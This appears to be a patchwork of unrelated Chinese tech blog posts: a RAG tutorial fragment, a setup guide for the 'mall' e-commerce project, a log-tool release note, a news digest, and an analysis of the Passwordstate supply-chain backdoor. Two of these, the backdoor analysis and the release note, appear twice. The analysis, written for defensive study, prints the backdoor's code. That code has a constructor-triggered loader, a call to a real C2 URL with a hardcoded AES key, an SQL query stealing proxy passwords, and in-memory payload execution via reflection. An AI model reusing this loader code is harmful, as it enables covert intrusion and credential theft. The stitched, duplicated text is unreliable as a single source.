    for i in range(max_retries):
        try:
            return ask_ai(question)
        except Exception as e:
            if i == max_retries - 1:
                return f"查询失败: {str(e)}"
            time.sleep(2 ** i)  # 指数退避

🐛 常见问题

Q1: 向量数据库太慢?

# 解决方案:使用元数据过滤
results = index.query(
    vector=query_vector,
    top_k=3,  # 减少返回数量
    filter={"category": "Kitchen"}  # 过滤
)

Q2: API成本太高?

# 解决方案:智能缓存
def smart_cache(asin):
    # 热门产品:1小时缓存
    # 冷门产品:24小时缓存
    ttl = 3600 if is_hot_product(asin) else 86400
    return get_with_cache(asin, ttl)

Q3: 如何提高准确性?

# 解决方案:增加上下文
results = index.query(
    vector=query_vector,
    top_k=10,  # 增加检索数量
    include_metadata=True
)

# 使用更强的模型
model = "gpt-4-turbo"  # 而非gpt-3.5

📈 监控指标

关键指标

from prometheus_client import Counter, Histogram

# 查询次数
query_count = Counter('rag_queries_total', 'Total queries')

# 响应时间
query_duration = Histogram('rag_query_seconds', 'Query duration')

# 准确率
accuracy = Gauge('rag_accuracy', 'Answer accuracy')

# 缓存命中率
cache_hit_rate = Gauge('cache_hit_rate', 'Cache hit rate')

告警规则

# Prometheus告警
groups:
  - name: rag_alerts
    rules:
      - alert: HighErrorRate
        expr: rate(rag_errors_total[5m]) > 0.1
        annotations:
          summary: "RAG错误率过高"
      
      - alert: SlowResponse
        expr: rag_query_seconds > 5
        annotations:
          summary: "查询响应过慢"

开源项目

# 完整项目代码
git clone https://github.com/Pangolin-spg/amazon-walmart-shopify-scrape-api
cd ai-amazon-rag
docker-compose up

🎓 学习路径

初级(1周)

  • [ ] 理解RAG原理
  • [ ] 完成基础实现
  • [ ] 部署测试环境

中级(2周)

  • [ ] 性能优化
  • [ ] 添加缓存
  • [ ] 监控告警

高级(1个月)

  • [ ] 多数据源融合
  • [ ] 自动化运维
  • [ ] 成本优化

💬 总结

核心收获

技术方案: RAG架构解决AI幻觉
数据来源: Pangolinfo API提供真实数据
效果验证: 准确率从45%提升到95%
成本优化: 节省93%成本
生产部署: Docker一键部署

立即开始

  1. 注册试用: Pangolinfo控制台
  2. 复制代码: 使用本文代码示例
  3. 部署测试: Docker一键启动
  4. 监控优化: 持续改进

🙋 互动

你遇到过AI瞎编数据的问题吗?

  • 👍 点赞支持
  • 💬 评论交流
  • 🔖 收藏备用
  • 🔗 分享给需要的朋友

有问题? 在评论区留言,我会及时回复!


关键词: #AI #RAG #亚马逊运营 #向量数据库 #性能优化 #Python #Docker #数据分析

阅读时间: 8分钟
难度: ⭐⭐⭐⭐
实用性: ⭐⭐⭐⭐⭐

Mall 开源项目学习


项目地址:

https://github.com/macrozheng/mall

官方学习教程:

https://www.macrozheng.com/

项目介绍
mall项目是一套电商系统,包括前台商城系统及后台管理系统,基于SpringBoot+MyBatis实现,采用Docker容器化部署。前台商城系统包含首页门户、商品推荐、商品搜索、商品展示、购物车、订单流程、会员中心、客户服务、帮助中心等模块。后台管理系统包含商品管理、订单管理、会员管理、促销管理、运营管理、内容管理、统计报表、财务管理、权限管理、设置等模块。

如何上手?

  • 在本地运行项目
  • 项目的整理逻辑梳理
  • 核心模块你的实现方法
  • 学习项目核心模块的实现方法
  • 在项目中加入自己的东西(功能修改/架构优化)

(本部分参考b站up主@王大飞op

开发工具

  • ide(vscode/IJ)
  • mysql5.7
  • Redis
  • Elasticsearch
  • Kibana
  • Logstash
  • MongoDB
  • RabbitMQ
  • MinIO

在本地运行项目

1. 将仓库克隆到本地

git clone https://github.com/macrozheng/mall

2. 新建数据库

MySQL

数据库账号密码均为root(若不同,可修改各文件夹resources下yml文件中mysql配置)

create database mall

创建数据库mall,导入项目document/sql文件夹下的mall.sql文件,初始化数据。

  • 连接数据源

  • 执行sql语句

  • 可在DataGrip中查看

Redis

启动Redis服务 (可配置开机自启动)

MongoDB


https://www.mongodb.com/download-center/community


成功启动检验

tasklist | findstr mongod

其他工具下载

运行bin目录下的elasticsearch.bat启动Elasticsearch服务

检验是否成功开启服务

  curl -X GET "http://localhost:9200/"

.\minio.exe server D:\Data\minio --console-address ":9001"
````  
此时MinIO的API将运行在9000端口,MinIO Console管理页面将运行在9001端口;
![](https://files.mdnice.com/user/170626/8f255ee7-4026-482d-bcef-325e435d035c.png)

- 项目JDK配置
![](https://files.mdnice.com/user/170626/c1fbe65d-60da-4c62-b211-b430b792ff0b.png)  
在JDK/SDK中选择下载JDK
将JDK和语言级别同时设置为JDK1.8或JDK11
![](https://files.mdnice.com/user/170626/e204a966-dbd1-40ba-8f1e-64cebc523413.png)


## 项目启动
启动mall-admin模块,直接运行`com.macro.mall.MallAdminApplication`即可;
![](https://files.mdnice.com/user/170626/e86678ca-2f9e-49a8-bc63-8614ffd1c250.png)  
成功启动未报错

![](https://files.mdnice.com/user/170626/e18bc9fd-46c7-494a-bb7e-f19bf821b897.png)  
<br>
  

<div style="text-align: center; animation: fadeIn 2s;">
<h3>感谢观看</h3>
<p>欢迎关注,下期再见</p>
</div>

2021年4月,企业密码管理软件 Passwordstate 遭遇供应链攻击,攻击者入侵了官方升级服务器,在更新包中植入后门。最近拿到了当时的恶意样本,来分析一下这个后门是怎么藏的、怎么工作的。


0x00 样本基本信息

先用 Exeinfo PE 扫一眼:

8di90ocrpo.png

文件名: 1.dll
类型: 32-bit .NET DLL
混淆: DeepSea Obfuscator v4

虽然有混淆,但 .NET 程序直接用 dnSpy 打开还是能看的。加载进去看到这样的结构:

xew99ic8ii.png

Moserware.SecretSplitter (0.12.0.0)
├── Loader
│   ├── Container
│   └── Loader
└── Moserware
    ├── Algebra
    ├── Numerics
    └── Security.Cryptography

看起来是个实现 Shamir 秘密共享算法的开源库,GitHub 上能搜到原版。但是多了个 Loader 目录...这就有意思了。


0x01 发现后门入口

翻了翻代码,在 Moserware.Security.Cryptography.Diffuser 这个类里发现了猫腻:

400tpx4rot.png

Public MustInherit Class Diffuser
    Protected Sub New()
        Container.Running(
            "https://passwordstate-18ed2.kxcdn.com/upgrade_service_upgrade.zip",
            "f4f15dddc3ba10dd443493a2a8a526b0",
            7200000,
            "Agent.Agent",
            "Invoke"
        )
    End Sub
End Class

好家伙,构造函数里直接调用了 Container.Running(),传了一堆参数进去。

这意味着只要有任何代码 new 了一个继承 Diffuser 的类,后门就会被触发。而 Diffuser 是个抽象基类,下面有好几个子类在用,触发条件太容易满足了。

作者选择把恶意代码藏在构造函数里,而不是静态构造函数,说明他不想在程序集加载时就暴露,而是等到真正使用加密功能时才激活。很狡猾。


0x02 后门核心逻辑分析

跟进 Loader.Container 类,这才是重头戏。

目标检测

bzgi9q6tjf.png

If Process.GetCurrentProcess().ProcessName.Equals("Passwordstate", StringComparison.OrdinalIgnoreCase) Then
    ' 只在目标进程中执行
End If

只有当宿主进程名是 Passwordstate 时才会激活。这是一款商业密码管理软件,看来这个后门是专门针对它的供应链攻击。

在沙箱或者分析环境里跑这个 DLL?抱歉,啥也不干,直接装死。这招能绕过很多自动化分析。

C2 通信

gq4j71r9yz.png

Private Shared Function [Get](u As String, ...) As Byte()
    ' 禁用证书验证,方便中间人
    ServicePointManager.ServerCertificateValidationCallback = Function(...) True

    ' 伪装成 Chrome 浏览器
    httpWebRequest.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36..."

几个关键点:

  1. 禁用 SSL 证书验证 - 攻击者可以随时劫持流量
  2. User-Agent 伪装 - 流量看起来像正常浏览器请求
  3. URL 加时间戳 - 绕过缓存,确保每次都能拿到最新 payload

Payload 解密

96mgurgot1.png

Private Shared Function AESDecrypt(B64 As String, Key As String) As Byte()
    Return New RijndaelManaged() With {
        .Key = Encoding.UTF8.GetBytes(Key),
        .Mode = CipherMode.ECB,
        .Padding = PaddingMode.PKCS7
    }.CreateDecryptor().TransformFinalBlock(...)
End Function

从 C2 下载的内容是 Base64 编码的 AES 密文,密钥是硬编码的:

f4f15dddc3ba10dd443493a2a8a526b0

用的 ECB 模式,虽然不安全,但对于加载 payload 来说够用了。

凭据窃取彩蛋

翻代码的时候还发现个有意思的函数 GetProxyInfo

virg5nz4ru.png

Dim cmdText As String = "SELECT ProxyServer, ProxyUserName, ProxyPassword FROM [SystemSettings]"

后门会尝试从 Passwordstate 的数据库里偷代理配置。如果目标网络需要代理才能出网,后门会自动适配。想得真周到啊...

而且解密代理密码用的是 Passwordstate 自己的解密函数:

assembly.[GetType]("PasswordstateService.Passwordstate.Crypto").GetMethod("AES_Decrypt", ...)

借刀杀人,妙啊。


0x03 Payload 执行

最后看看 Loader.Loader 类,负责执行下载的 payload:

0e4d92ebe8391cfe9eb199066042cace.png}}

Private Sub ThreadFunc()
    Assembly.Load(Me.assemblyData) _
        .[GetType](Me.assemblyType) _
        .GetMethod(Me.assemblyMethod) _
        .Invoke(Nothing, Nothing)
End Sub

经典的无文件攻击:

  1. Assembly.Load() 直接从内存加载程序集
  2. 通过反射找到指定的类和方法
  3. 调用执行

根据硬编码的参数,它会执行 Agent.Agent.Invoke()。整个过程不落地文件,杀软很难检测。


0x04 攻击流程总结

Passwordstate 启动
        |
        v
加载 Moserware.SecretSplitter.dll
        |
        v
使用加密功能 -> 实例化 Diffuser 子类
        |
        v
触发构造函数 -> Container.Running()
        |
        v
检测进程名 == "Passwordstate" ?
        |
       YES
        v
下载 https://passwordstate-18ed2.kxcdn.com/upgrade_service_upgrade.zip
        |
        v
AES 解密 (Key: f4f15dddc3ba10dd443493a2a8a526b0)
        |
        v
Assembly.Load() 内存加载
        |
        v
反射调用 Agent.Agent.Invoke()
        |
        v
每 2 小时循环检查更新


0x05 C2 域名分析

后门中硬编码的回连地址:

https://passwordstate-18ed2.kxcdn.com/upgrade_service_upgrade.zip

拆解一下这个域名:

组成部分 说明
passwordstate 伪装成目标软件的官方域名
18ed2 随机字符串,可能用于区分不同攻击批次
kxcdn.com KeyCDN 的 CDN 域名

攻击者用 CDN 来托管恶意 payload 有几个好处:

  1. 隐藏真实服务器 - CDN 背后的源站 IP 不会直接暴露
  2. 提高可用性 - CDN 节点多,不容易被单点屏蔽
  3. 流量伪装 - HTTPS + 知名 CDN 域名,看起来像正常业务流量

事件背景

这个样本来自 2021 年 4 月的 Passwordstate 供应链攻击事件

  • 时间线: 2021年4月20日 20:33 UTC 至 4月22日 00:30 UTC(约28小时窗口期)
  • 攻击方式: 攻击者入侵了 Passwordstate 的升级服务器,篡改了官方更新包
  • 受影响范围: Passwordstate 被全球约 29,000 家企业使用,包括多家财富500强公司
  • 恶意软件名称: 被安全厂商命名为 Moserpass

攻击者把后门代码注入到了合法的开源库 Moserware.SecretSplitter 中,然后通过官方升级渠道推送给用户。在那28小时内执行过升级的用户,都中招了。


0x06 IOCs 汇总

网络指标:

域名: passwordstate-18ed2.kxcdn.com
URL:  https://passwordstate-18ed2.kxcdn.com/upgrade_service_upgrade.zip

加密密钥:

AES Key: f4f15dddc3ba10dd443493a2a8a526b0

行为特征:

  • 进程名检测: Passwordstate
  • 禁用 SSL 证书验证
  • SQL 查询: SELECT ... FROM [SystemSettings]
  • 内存加载: Assembly.Load() + 反射执行
  • 心跳间隔: 7200000ms (2小时)


2021年4月,企业密码管理软件 Passwordstate 遭遇供应链攻击,攻击者入侵了官方升级服务器,在更新包中植入后门。最近拿到了当时的恶意样本,来分析一下这个后门是怎么藏的、怎么工作的。


0x00 样本基本信息

先用 Exeinfo PE 扫一眼:

8di90ocrpo.png

文件名: 1.dll
类型: 32-bit .NET DLL
混淆: DeepSea Obfuscator v4

虽然有混淆,但 .NET 程序直接用 dnSpy 打开还是能看的。加载进去看到这样的结构:

xew99ic8ii.png

Moserware.SecretSplitter (0.12.0.0)
├── Loader
│   ├── Container
│   └── Loader
└── Moserware
    ├── Algebra
    ├── Numerics
    └── Security.Cryptography

看起来是个实现 Shamir 秘密共享算法的开源库,GitHub 上能搜到原版。但是多了个 Loader 目录...这就有意思了。


0x01 发现后门入口

翻了翻代码,在 Moserware.Security.Cryptography.Diffuser 这个类里发现了猫腻:

400tpx4rot.png

Public MustInherit Class Diffuser
    Protected Sub New()
        Container.Running(
            "https://passwordstate-18ed2.kxcdn.com/upgrade_service_upgrade.zip",
            "f4f15dddc3ba10dd443493a2a8a526b0",
            7200000,
            "Agent.Agent",
            "Invoke"
        )
    End Sub
End Class

好家伙,构造函数里直接调用了 Container.Running(),传了一堆参数进去。

这意味着只要有任何代码 new 了一个继承 Diffuser 的类,后门就会被触发。而 Diffuser 是个抽象基类,下面有好几个子类在用,触发条件太容易满足了。

作者选择把恶意代码藏在构造函数里,而不是静态构造函数,说明他不想在程序集加载时就暴露,而是等到真正使用加密功能时才激活。很狡猾。


0x02 后门核心逻辑分析

跟进 Loader.Container 类,这才是重头戏。

目标检测

bzgi9q6tjf.png

If Process.GetCurrentProcess().ProcessName.Equals("Passwordstate", StringComparison.OrdinalIgnoreCase) Then
    ' 只在目标进程中执行
End If

只有当宿主进程名是 Passwordstate 时才会激活。这是一款商业密码管理软件,看来这个后门是专门针对它的供应链攻击。

在沙箱或者分析环境里跑这个 DLL?抱歉,啥也不干,直接装死。这招能绕过很多自动化分析。

C2 通信

gq4j71r9yz.png

Private Shared Function [Get](u As String, ...) As Byte()
    ' 禁用证书验证,方便中间人
    ServicePointManager.ServerCertificateValidationCallback = Function(...) True

    ' 伪装成 Chrome 浏览器
    httpWebRequest.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36..."

几个关键点:

  1. 禁用 SSL 证书验证 - 攻击者可以随时劫持流量
  2. User-Agent 伪装 - 流量看起来像正常浏览器请求
  3. URL 加时间戳 - 绕过缓存,确保每次都能拿到最新 payload

Payload 解密

96mgurgot1.png

Private Shared Function AESDecrypt(B64 As String, Key As String) As Byte()
    Return New RijndaelManaged() With {
        .Key = Encoding.UTF8.GetBytes(Key),
        .Mode = CipherMode.ECB,
        .Padding = PaddingMode.PKCS7
    }.CreateDecryptor().TransformFinalBlock(...)
End Function

从 C2 下载的内容是 Base64 编码的 AES 密文,密钥是硬编码的:

f4f15dddc3ba10dd443493a2a8a526b0

用的 ECB 模式,虽然不安全,但对于加载 payload 来说够用了。

凭据窃取彩蛋

翻代码的时候还发现个有意思的函数 GetProxyInfo

virg5nz4ru.png

Dim cmdText As String = "SELECT ProxyServer, ProxyUserName, ProxyPassword FROM [SystemSettings]"

后门会尝试从 Passwordstate 的数据库里偷代理配置。如果目标网络需要代理才能出网,后门会自动适配。想得真周到啊...

而且解密代理密码用的是 Passwordstate 自己的解密函数:

assembly.[GetType]("PasswordstateService.Passwordstate.Crypto").GetMethod("AES_Decrypt", ...)

借刀杀人,妙啊。


0x03 Payload 执行

最后看看 Loader.Loader 类,负责执行下载的 payload:

0e4d92ebe8391cfe9eb199066042cace.png}}

Private Sub ThreadFunc()
    Assembly.Load(Me.assemblyData) _
        .[GetType](Me.assemblyType) _
        .GetMethod(Me.assemblyMethod) _
        .Invoke(Nothing, Nothing)
End Sub

经典的无文件攻击:

  1. Assembly.Load() 直接从内存加载程序集
  2. 通过反射找到指定的类和方法
  3. 调用执行

根据硬编码的参数,它会执行 Agent.Agent.Invoke()。整个过程不落地文件,杀软很难检测。


0x04 攻击流程总结

Passwordstate 启动
        |
        v
加载 Moserware.SecretSplitter.dll
        |
        v
使用加密功能 -> 实例化 Diffuser 子类
        |
        v
触发构造函数 -> Container.Running()
        |
        v
检测进程名 == "Passwordstate" ?
        |
       YES
        v
下载 https://passwordstate-18ed2.kxcdn.com/upgrade_service_upgrade.zip
        |
        v
AES 解密 (Key: f4f15dddc3ba10dd443493a2a8a526b0)
        |
        v
Assembly.Load() 内存加载
        |
        v
反射调用 Agent.Agent.Invoke()
        |
        v
每 2 小时循环检查更新


0x05 C2 域名分析

后门中硬编码的回连地址:

https://passwordstate-18ed2.kxcdn.com/upgrade_service_upgrade.zip

拆解一下这个域名:

组成部分 说明
passwordstate 伪装成目标软件的官方域名
18ed2 随机字符串,可能用于区分不同攻击批次
kxcdn.com KeyCDN 的 CDN 域名

攻击者用 CDN 来托管恶意 payload 有几个好处:

  1. 隐藏真实服务器 - CDN 背后的源站 IP 不会直接暴露
  2. 提高可用性 - CDN 节点多,不容易被单点屏蔽
  3. 流量伪装 - HTTPS + 知名 CDN 域名,看起来像正常业务流量

事件背景

这个样本来自 2021 年 4 月的 Passwordstate 供应链攻击事件

  • 时间线: 2021年4月20日 20:33 UTC 至 4月22日 00:30 UTC(约28小时窗口期)
  • 攻击方式: 攻击者入侵了 Passwordstate 的升级服务器,篡改了官方更新包
  • 受影响范围: Passwordstate 被全球约 29,000 家企业使用,包括多家财富500强公司
  • 恶意软件名称: 被安全厂商命名为 Moserpass

攻击者把后门代码注入到了合法的开源库 Moserware.SecretSplitter 中,然后通过官方升级渠道推送给用户。在那28小时内执行过升级的用户,都中招了。


0x06 IOCs 汇总

网络指标:

域名: passwordstate-18ed2.kxcdn.com
URL:  https://passwordstate-18ed2.kxcdn.com/upgrade_service_upgrade.zip

加密密钥:

AES Key: f4f15dddc3ba10dd443493a2a8a526b0

行为特征:

  • 进程名检测: Passwordstate
  • 禁用 SSL 证书验证
  • SQL 查询: SELECT ... FROM [SystemSettings]
  • 内存加载: Assembly.Load() + 反射执行
  • 心跳间隔: 7200000ms (2小时)


前言

在大家反馈与测试下,最近花了很多时间和精力已经把我的日志分析工具迭代到 V1.6.12 版本了,加了不少新功能,修复了很多问题,同时也对页面样式细节做了很多调整。

目前也算是趋于稳定了,29 天前这个工具刚做出来的时候还只支持 nginx 的日志解析支持,现在已经支持了:

  • caddy 、IIS 、Apache httpd 、HAProxy 、Traefik 、Envoy 、Tengine 、Nginx Proxy Manager
  • NGINX Ingress Controller 、Traefik Ingress 、HAProxy Ingress

对移动端做了兼容处理,同时也添加了对 PWA 的支持,可以做到从手机的桌面快速查看你站点的访问情况,为了适配移动端的展示,也做了底部导航栏出来。

二级路径的支持

有一部分用户在部署的时候,没有条件做子域名,需要部署在当前已有站点,通过二级路径的形式访问,为了满足这一需求我在 UI 配置面板中直接做了快捷配置,简单输入,点保存即可实现此功能。
image-20260210013953430

更多元化的数据统计维度

  • 实时访问页面的卡片面板新增降序排列按钮
  • 概况页新增自动刷新功能
  • 新增隐藏侧边栏功能
  • 概况页卡片面板的预计今日添加算法实现说明
  • 数据日报新增访客 TOP10 功能
  • 重新设计内容区域的顶部样式
  • 更易用的访问明细
  • 新增系统通知与白名单功能,非白名单内的 IP 访问会触发系统告警。

image-20260210014307159

image-20260210014326870

image-20260210014350810

项目地址

写在最后

至此,文章就分享完毕了。

我是神奇的程序员,一位前端开发工程师。

如果你对我感兴趣,请移步我的个人网站,进一步了解。

前言

在大家反馈与测试下,最近花了很多时间和精力已经把我的日志分析工具迭代到 V1.6.12 版本了,加了不少新功能,修复了很多问题,同时也对页面样式细节做了很多调整。

目前也算是趋于稳定了,29 天前这个工具刚做出来的时候还只支持 nginx 的日志解析支持,现在已经支持了:

  • caddy 、IIS 、Apache httpd 、HAProxy 、Traefik 、Envoy 、Tengine 、Nginx Proxy Manager
  • NGINX Ingress Controller 、Traefik Ingress 、HAProxy Ingress

对移动端做了兼容处理,同时也添加了对 PWA 的支持,可以做到从手机的桌面快速查看你站点的访问情况,为了适配移动端的展示,也做了底部导航栏出来。

二级路径的支持

有一部分用户在部署的时候,没有条件做子域名,需要部署在当前已有站点,通过二级路径的形式访问,为了满足这一需求我在 UI 配置面板中直接做了快捷配置,简单输入,点保存即可实现此功能。
image-20260210013953430

更多元化的数据统计维度

  • 实时访问页面的卡片面板新增降序排列按钮
  • 概况页新增自动刷新功能
  • 新增隐藏侧边栏功能
  • 概况页卡片面板的预计今日添加算法实现说明
  • 数据日报新增访客 TOP10 功能
  • 重新设计内容区域的顶部样式
  • 更易用的访问明细
  • 新增系统通知与白名单功能,非白名单内的 IP 访问会触发系统告警。

image-20260210014307159

image-20260210014326870

image-20260210014350810

项目地址

写在最后

至此,文章就分享完毕了。

我是神奇的程序员,一位前端开发工程师。

如果你对我感兴趣,请移步我的个人网站,进一步了解。

开发者朋友们大家好:

这里是 「RTE 开发者日报」,每天和大家一起看新闻、聊八卦。我们的社区编辑团队会整理分享 RTE(Real-Time Engagement) 领域内「有话题的技术」、「有亮点的产品」、「有思考的文章」、「有态度的观点」、「有看点的活动」,但内容仅代表编辑的个人观点,欢迎大家留言、跟帖、讨论。

本期编辑:@瓒an、@鲍勃

01有话题的技术

1、Agora 支撑 Whatnot 承载 MrBeast 直播:实现 1080p 画质下 58.3 万峰值并发

实时互动服务商 Agora(声网兄弟公司) 为 Whatnot 电商直播平台举办的 MrBeast 百万美金赠品活动提供技术支持。在 1080p 高清画质下,系统成功应对了 58.3 万的流量冲击,保障了大规模、高频互动的直播稳定性。

  • 超大规模瞬时并发承载: 本次直播峰值同时在线人数达到 58.3 万。Agora 的底层架构在极短时间内完成了大规模接入链路的弹性调度,支撑了远超常规量级的实时流量。
  • 1080p 互动直播画质标准: 在维持 1080p 高清视频输出的前提下,解决了大规模并发带来的延迟问题。确保了百万美金奖品(如兰博基尼、特斯拉)在实时抽奖过程中,全网用户能同步接收到音视频流与互动指令。
  • 全链路低延迟保障: 针对直播购物场景中对「抢购」和「实时互动」的极高要求,该方案在 50 万+ 并发环境下仍保持了极低端到端延迟,避免了因负载过高导致的音画不同步或抽奖结果延迟。
  • 高压环境下的业务转化支撑: 由于直播过程无卡顿,成功支撑了流量向 App 下载的转化,助力 Whatnot 在活动期间攀升至美区 App Store 下载榜第三位。

(@People、@Tubefilter、@MrBeast\@X)

2、字节跳动发布 Seedance 2.0:支持 12 路多模态参考,生成可用率提升至 90% 以上

字节跳动旗下视频生成模型「Seedance 2.0」正式上线即梦平台。该模型通过大幅提升生成稳定性与多模态控制精度,将视频生成从「随机抽卡」转变为「导演级控制」,直接导致视频制作的有效成本下降约 80%。

  • 12 路多模态参考矩阵:支持同时输入最多 9 张图片、3 段视频和 3 段音频作为参考素材,可精确指定角色外貌、动作特效、运镜风格及环境音场,实现跨模态信息的深度融合。
  • 自动化分镜与运镜系统:模型具备自动规划分镜能力,用户只需描述故事情节,无需输入复杂的摄像机术语(如平移、推拉),模型可自主完成具备导演思维的镜头调度。
  • 推理可用率突破 90%:针对 15 秒短片生成,可用率从行业平均的 20% 提升至 90% 以上,显著降低了通过 API 或手动「抽卡」产生的冗余算力成本。
  • 跨镜头角色一致性:增强了长序列叙事的稳定性,支持在多个 15 秒镜头片段间维持角色特征、服装褶皱及场景光影的一致性,满足动漫、短剧等连贯内容生产需求。
  • 音画同步与情绪解耦:实现原生口型同步,并能根据语音语气自动调整角色的微表情(如眼神凌厉、眉毛上挑),确保视听逻辑与情感表达匹配。

已在「即梦」平台上线,付费会员(最低 69 元/月)可直接使用。

(@极客公园)

3、Xmax AI 推出虚实融合实时交互视频模型 X1:破次元实际互动,毫秒级即时反馈

2026 年,随着生成式 AI 与端侧算力的同步成熟,虚拟内容正从「预制叠加」向「实时生成」跨越。初创公司 Xmax AI 近日推出全球首个虚实融合的实时交互视频模型 X1,由华为「天才少年」计划成员史佳欣领衔开发。该模型打破了传统文生视频的键盘输入限制,让用户通过手机摄像头与手势,即可在现实场景中「召唤」并操控虚拟角色。

不同于追求画质和时长的专业创作工具,X1 侧重于降低交互门槛,实现毫秒级的即时反馈。其技术演示应用 X-cam 已展示四大核心功能:

  • 次元互动:通过摄像头捕捉现实场景并上传图片,虚拟角色可「脱屏而出」。用户能通过捏、拍、托等手势与之互动,模型会实时生成物理反馈,如绒毛遮盖、转头避让等。
  • 世界滤镜:支持将实时拍摄画面转化为梵高、乐高或动漫等指定风格。
  • 触控动图:用户在屏幕上拖拽静态照片中的部位(如耳朵、嘴角),即可让角色产生实时位移与表情变化。
  • 表情捕手:AI 实时捕捉镜头中人或物体的特征,根据选定的 Emoji 生成动态表情包。

在技术实现上,Xmax AI 团队针对极致实时、意图理解与数据稀缺三大痛点交出了答卷。 模型采用端到端的流式重渲染架构及帧级别自回归 DiT,配合循环回归架构,实现了无限时长的连续生成。同时,团队构建了虚实融合数据合成管线,低成本批量生产高质量交互训练数据,解决了行业内交互数据匮乏的难题。

Xmax AI 的团队成员涵盖了来自清华大学、港科大以及字节、华为等头部厂商的顶尖力量。其愿景不仅是开发一款应用,而是搭建下一代内容交互引擎,让虚拟角色成为能走进家庭的「数字生命体」,实现「用 AI 玩转世界」的目标。

testflight 邀请链接:
https://testflight.apple.com/join/8sWgKZeQ

Xmax AI 官网链接:
https://xmax.ai/

(@机器之心)


02有亮点的产品

1、OpenAI 首款硬件「Dime」曝光

OpenAI 首款面向消费者的 AI 硬件设备正加速推进,但今年 9 月亮相的首发版本将是功能受限的「简版」

原因在于 HBM 供应紧张推高 2nm 芯片成本,迫使 OpenAI 推迟原计划中具备计算单元的「全能形态」,先行推出仅支持音频功能的版本。

博主「智慧皮卡丘」最新爆料称,这款设备命名为「Dime」,寓意其体积小巧。

其专利已于昨天在美国国家知识产权局公示,外观采用金属材质,主体类似卵石,内部藏有两颗可取出的胶囊状耳机,佩戴方式为置于耳后。

供应链消息指出,设备用料更接近手机级别,主处理器目标直指 2nm 智能手机芯片,且正在开发定制芯片,以实现通过语音直接执行 iPhone 上的 Siri 指令。

在 OpenAI 内部,这款代号「Sweetpea」(甜豌豆)的设备被 Jony Ive 团队列为最高优先级,首年出货目标高达 4000 万至 5000 万台。富士康也已接到通知,需在 2028 年前为 OpenAI 五款设备做好产能准备。

OpenAI CEO 山姆 · 奥特曼曾公开表示,真正的竞争对手不是 Google,而是苹果。

他认为未来 AI 的主战场在终端,而非云端;智能手机屏幕与交互方式限制了 AI 伴侣的潜力,因此 OpenAI 必须打造「AI 原生设备」

奥特曼将其愿景比喻为「湖畔小屋」——在信息轰炸的时代广场之外,为用户提供专注空间。

除了耳机,一支神秘的 AI 笔也在开发之列。结合 Altman 与 Jony Ive 多次提及的线索,外界推测这款设备体积小巧、具备环境感知能力,可能采用陶瓷等高质感材料,并以极简交互为核心。

技术层面,OpenAI 正加速迭代音频模型,为硬件奠定基础。知情人士透露,新一代模型不仅语音更自然,也能支持同步对话与打断处理,预计今年第一季度发布

OpenAI 已组建跨供应链、工业设计与模型研发的团队,目标是打造能主动协作的「智能伙伴」,而非简单的语音接口。

外界还推测,AI 笔可能集成微型投影仪,将图像投射到桌面,以解决无屏幕交互问题;笔夹可能集成麦克风或摄像头,实现文本解析与环境感知。

用户在纸上书写时,AI 可实时解读内容、生成待办事项,甚至作为智能中枢控制周边设备。

( @APPSO)

2、当「老二次元」下场 AI 创业:我要做个会说话的智能「痛包」

图源AI生成

创业者郭轶捷推出了一款名为「Neurobo」的智能娃包。这款产品不仅是装载二次元虚拟角色(即「娃」)的背包,更集成了摄像头、麦克风、GPS 及 Agent 工作流,使其具备感知环境、记录情境和保存记忆的能力。当用户背着娃包外出或社交时,AI 能以包内角色的视角捕捉生活片段,并在合适时机通过 APP 发起互动,实现「让娃活过来」的体验。

郭轶捷团队之所以选择「娃包」而非直接做「娃」,基于对二次元人群的深度洞察:

  • 出行刚需:二次元用户本身就有带娃出街的习惯,娃包是现成的载体。
  • 去 IP 化:情感投射具有高度个性化,用户更倾向于自我创造角色(OC)或融合多种人设,而非受限于单一固定 IP。
  • 数据闭环:相较于居家场景,带娃出门社交能产生大量物理空间数据,弥补了当前人机交互中情感与社会性数据的缺失。

尽管二次元常被视为小众生意,但该项目已获奇绩创坛及港科大教授高秉强等投资方的支持。投资人认为,这门生意的本质是人与虚拟角色之间的交互幻想,这种需求具有普适性。郭轶捷表示,娃包只是切入二次元细分人群的形态,其核心是一套智能可穿戴设备的交互机制。未来,这套机制可拓展至 Labubu、宠物甚至亲子等更广泛的角色化陪伴场景。

目前,Neurobo 娃包计划于 2026 年中量产,预计定价在 500-1500 元之间。团队希望通过打造轻奢的交互体验,让用户感到把娃放进包里是一种更高级的选择,最终服务于更广泛的需要「陪伴叙事」的大众消费人群。

(@未来人类实验室)

03有态度的观点

1、研究称「996」工作模式正在硅谷 AI 行业蔓延

据《商业内幕》报道,今年硅谷的 AI 行业正出现更趋严苛的「996」式工作文化,引发业内对员工身心负担的担忧。

报道援引多位研究人员指出,在激烈的 AI 竞赛推动下,部分科技公司正在形成高压、长工时的工作环境,甚至开始接近在国内互联网行业长期存在的「996」模式。

报道提到,Allen Institute for AI 高级研究科学家 Nathan Lambert 与 AI 研究实验室创始人 Sebastian Raschka 在近期播客节目中谈到,硅谷的工作节奏虽未完全复制中国的「996」,但趋势正在向更高强度靠拢。

Raschka 表示,AI 模型迭代速度极快,初创公司为了在竞争中保持领先,往往需要团队持续交付成果,这使得长时间工作成为常态。他强调,这种节奏更多源于竞争压力与从业者的热情,而非强制要求。

Lambert 指出,这种文化在旧金山最知名的 AI 公司中尤为明显,他提到「这就是 OpenAI 和 Anthropic 的现状」,许多程序员主动投入高压环境,因为他们希望参与最前沿的研究。

不过,他也强调,这种投入往往伴随明显的「人力消耗」,包括与家人相处时间减少、视野变窄以及健康问题等。

这种节奏不可能长期维持,人真的会被拖垮(burn out)。

Raschka 也分享了自身经历,称长期不休息导致颈部与背部疼痛。他认为,年轻程序员若希望在 AI 领域产生影响,亲自来到旧金山仍是最现实的路径,但必须接受相应的生活与健康取舍。

( @APPSO)

04 Real-Time AI Demo

1、VisionClaw:将 OpenClaw 装进智能眼镜 ,实现语音、视觉和智能体操作

近日,开发者 sseanliu 开源了 「VisionClaw」 项目这是一款适用于 Meta Ray-Ban 智能眼镜的实时 AI 助手——通过 Gemini Live 和 OpenClaw 实现语音、视觉和智能体操作。 它结合视觉与语音技术,让智能穿戴设备具备了感知现实并执行复杂任务的能力。

VisionClaw 允许用户在戴上眼镜后,通过简单的点击和语音交互来实现「所见即所得」的智能化体验。其主要功能包括:

